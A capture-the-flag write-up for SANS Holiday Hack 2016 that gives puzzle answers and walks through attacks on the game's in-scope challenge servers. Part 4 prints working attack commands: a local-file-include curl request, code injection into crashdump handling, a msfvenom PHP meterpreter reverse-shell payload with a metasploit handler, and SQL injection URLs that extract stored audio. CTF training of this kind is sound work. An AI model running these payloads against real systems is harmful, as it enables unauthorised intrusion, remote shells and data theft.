SANS Holiday Hack 2016
Part 1: A Most Curious Business Card
1: What is the secret message in Santa's tweets?
Answer: bugbounty
Solution: Load all tweets, open developer tools, and turn on preserve log
$("div.js-tweet-text-container").text();
2: What is inside the ZIP file distributed by Santa's team?
Answer: SantaGram_v4.2.apk
Solution: After exploring the North Pole a bit, I stumbled upon Pepper Minstix in the Workshop who mentioned dungeon.zip. Although this zip is referenced later it is not the one the question is referring to. The real zip name is hidden at the top of this instagram post. Swapping SantaGram_v4.2.zip
for dungeon.zip
in the URL gives you the password protected file. Which the password happens to be bugbounty
, the hidden message from the tweets earlier.
Part 2: Awesome Package Konveyance
3: What username and password are embedded in the APK file?
Answer: guest:busyreindeer78
Solution:
Not too far away from Pepper is our friend Shinny Upatree who is in the Workshop Train Station. He gives a little clue into a tool that can help us decompile SantaGram_v4.2.apk
.
git clone https://github.com/skylot/jadx.git
cd jadx
./gradlew dist
bin/jadx -d SantaGram_jadx SantaGram_v4.2.apk
grep -r "password" SantaGram_jadx/
grep -B1 "password" SantaGram_jadx/com/northpolewonderland/santagram/b.java
4: What is the name of the audible component (audio file) in the SantaGram APK file?
Answer: discombobulatedaudio1.mp3
Solution:
grep -r "audio" SantaGram_jadx/
To get the audio file, use apktool that Bushy Evergreen references. Simply disassemble the resources and copy the file.
apktool d SantaGram_v4.2.zip
cp SantaGram_v4.2/res/raw/discombobulatedaudio1.mp3 .
Bonus:
Using grep
to search for http
and https
in the APK produced a few subdomains of the challenge that might be useful later on.
grep -r "\.com/" | grep -v "android\.com"
Yes! $IP is in scope! Just make sure you don't launch denial of service attacks, or otherwise interfere with the host's production processing. Dirbuster will not help you. - Mr. Tom Hessman
We shall see about the dirbuster Mr. Tom Hessman!
In Scope Targets
104.198.252.157
https://analytics.northpolewonderland.com/
https://analytics.northpolewonderland.com/report.php?type=launch
https://analytics.northpolewonderland.com/report.php?type=usage
104.198.221.240
http://ads.northpolewonderland.com/
http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5
35.184.63.245
http://dev.northpolewonderland.com/
http://dev.northpolewonderland.com/index.php
35.184.47.139
http://dungeon.northpolewonderland.com/
104.154.196.33
http://ex.northpolewonderland.com/
http://ex.northpolewonderland.com/exception.php
Part 3: A Fresh-Baked Holiday Pi
After collecting the power cord, heat sink, hdmi cable, sd card, and cranberry pi board the user needs to speak with Holly Evergreen over by the portal. She gives you the cranbian image to perform the next steps.
5: What is the password for the "cranpi" account on the Cranberry Pi system?
Answer: yummycookies
Solution: Going back over by the Christmas tree we see Wunorse Openslae and he refers us to an article for mounting Raspberry Pi images.
6: How did you open each terminal door and where had the villain imprisoned Santa?
Answer: DFER 1978
Elf House #2
To open the door, find both parts of the passphrase inside the /out.pcap file
Answer: santaslittlehelper
Solution: The banner hints that tcpdump
will be needed in order to complete the task. However, it is not available to the user that you run as scratchy
. Following a hint, sudo -l
mentions that tcpdump
and strings
can run without a password. The man-page for sudo
shows that the -u
flag allows you to set a user before running a command. The first part of the passphrase is easy to find and can be found using either tcpdump
or strings
. After trying to find a way to extract the second part's bin file, I stumpled on Jeff McJunkin's hint. Playing with the encodings allowed a simple output with the second part of the passphrase to be found.
sudo -l
# Matching Defaults entries for scratchy on e06cab9d52fb:
# env_reset, mail_badpass,
# secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
# User scratchy may run the following commands on e06cab9d52fb:
# (itchy) NOPASSWD: /usr/sbin/tcpdump
# (itchy) NOPASSWD: /usr/bin/strings
sudo -u itchy strings /out.pcap
# <input type="hidden" name="part1" value="santasli" />
sudo -u itchy strings -e l /out.pcap
# part2:ttlehelper
Santa's Office
To open the door, find the passphrase file deep in the directories.
Answer: open_sesame
Solution: The banner hint suggests some hidden and trick named directories. A simple recursive list of the user's home directory gave some interesting output that was heavily nested in ./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/
.
ls -laR | grep -B4 "key"
find . -name "key_for_the_door.txt" -exec cat '{}' +
The Corridor
GREETINGS PROFESSOR FALKEN.
Answer: LOOK AT THE PRETTY LIGHTS
Solution: The terminal emulates the W.O.P.R computer from the movie WarGames. The password is given by responding to the queues with the correct lines from the script.
DFER
Find the passphrase from the wumpus. Play fair or cheat; it's up to you.
Answer: wumpus is misunderstood
Solution: No nifty hack on this one, just play wumpus
and try not to miss!
Train Station
Answer: 24fb3e89ce2aa0ea422c3d511d40dd84
Solution: The Train Management Console has a Help Menu that uses less
to display it. One of the options while using less
is to execute a command like !command /bin/bash
. The password is located in the Train_Console
script or you can bypass it and execute start from the cli.
./ActivateTrain
Bonus: Activating the train allows you to travel back in time to the North Pole circa 1978. Santa is located in the Dungeon For Errant Reindeer (DFER) but doesn't remember how he got there.
Part 4: My Gosh... It's Full of Holes
The Mobile Analytics Server (via credentialed login access)
Answer: Credentials in Source Code
Solution: Log into the analytics server using the credentials harvested from the APK and click the link to discombobulatedaudio2.mp3.
The Dungeon Game
Incomplete
The Debug Server
Incomplete
The Banner Ad Server
Incomplete
The Uncaught Exception Handler Server
Answer: Local File Includes and Code Injection
Solution: Sugarplum Mary gives us the initial insight we need in order to exploit this system. The APK gives you the format in which to make the requests when you dig into how a crash dump request is built. Modifying the request to accommodate the example in the hint returns the handler code.
# gets you the code for the exception handler
curl -vH "Content-Type: application/json" -d '{"data":{"crashdump":"php://filter/convert.base64-encode/resource=exception"}, "operation":"ReadCrashDump"}' "http://ex.northpolewonderland.com/exception.php" | base64 -d > exception.php
There are two primary functions in exception.php
, processCrashdump($crashdump)
which happens on a WriteCrashDump
operation and readCrashdump($requestedCrashdump)
on a ReadCrashDump
. $crashdump
is a parameter nested in the data
portion of the JSON content sent to the server.
<?php
# snippet from processCrashdump where un-sanitized user input is allowed
$crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');";
# snippet from readCrashdump where the un-sanitized user input can be executed
require($requestedCrashdump['crashdump'] . '.php');
Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
The exception handler code references discombobulatedaudio6.mp3 is stored at the webroot for the nginx server.
Bonus:
It is possible to get remote access to this server. Build a reverse tcp shell for php
using msfvenom
. The code for the reverse shell needs to be modified to exclude certain characters but the end result should be something similar to '); $MODIFIED_EXPLOIT print('
.
msfvenom -p php/meterpreter/reverse_tcp LHOST=$IP LPORT=$PORT -f raw > ex_shell.php
Format for the WriteCrashDump
reverse tcp shell payload, crashdump.json
.
{
"operation": "WriteCrashDump",
"data": "'); $MODIFIED_EXPLOIT print('"
}
Setup a metasploit handler to receive and setup a meterpreter session.
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Starting the payload handler...
In another shell, write the payload to disk and then use the crashdump-XXXXXX
from the response in the read request to execute the payload.
curl -vH "Content-Type: application/json" -d @crashdump.json "http://ex.northpolewonderland.com/exception.php"
curl -vH "Content-Type: application/json" -d '{"data":{"crashdump":"crashdump-XXXXXX"}, "operation":"ReadCrashDump"}' "http://ex.northpolewonderland.com/exception.php"
The Mobile Analytics Server (post authentication)
Answer: Nmap, Source Code, and SQL Injection
Solution:
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 1024 5d:5c:37:9c:67:c2:40:94:b0:0c:80:63:d4:ea:80:ae (DSA)
| 2048 f2:25:e1:9f:ff:fd:e3:6e:94:c6:76:fb:71:01:e3:eb (RSA)
|_ 256 4c:04:e4:25:7f:a1:0b:8c:12:3c:58:32:0f:dc:51:bd (ECDSA)
443/tcp open https
| http-git:
| 104.198.252.157:443/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Finishing touches (style, css, etc)
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject: commonName=analytics.northpolewonderland.com
| Subject Alternative Name: DNS:analytics.northpolewonderland.com
| Not valid before: 2016-12-07T17:35:00
|_Not valid after: 2017-03-07T17:35:00
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
Downloading the git repository gives a corrupted instance of the code base. After using this tool, I was able to get the source code. Looking through the git log I noticed mention of authentication updates.
./rip-git.pl -s -v -u https://analytics.northpolewonderland.com/.git/
git log
git checkout 5f0c135e1479d865945577c0a70d0cf39e49cdc7
Checking out 5f0c135e1479d865945577c0a70d0cf39e49cdc7
provides administrator credentials that are still valid in sprusage.sql
.
INSERT INTO `users` VALUES (0,'administrator','KeepWatchingTheSkies'),(1,'guest','busyllama67');
After logging in with the administrator credentials we see that we now can perform edits. Performing a blank query for usage gives us a UUID that we can attempt to edit.
It seems to be looping for the submitted parameters and building a SQL query. So can we just submit the query parameter in the URL with some arbitrary query?
https://analytics.northpolewonderland.com/edit.php?id=9dbdf565-ebf7-4e9d-a12a-9b165ff3d818&name=the&description=donald&query=select%20*%20from%20audio
The column mp3
isn't showing and appears to be blob data from the schema discovered in the git repository. Modifying the query to use to_base64()
on mp3
allows for extraction of the audio file.
https://analytics.northpolewonderland.com/edit.php?id=9dbdf565-ebf7-4e9d-a12a-9b165ff3d818&name=the&description=donald&query=select%20filename,to_base64(mp3)%20from%20audio
Use | base64 --decode > discombobulatedaudio7.mp3
to decode the text and get the audio file.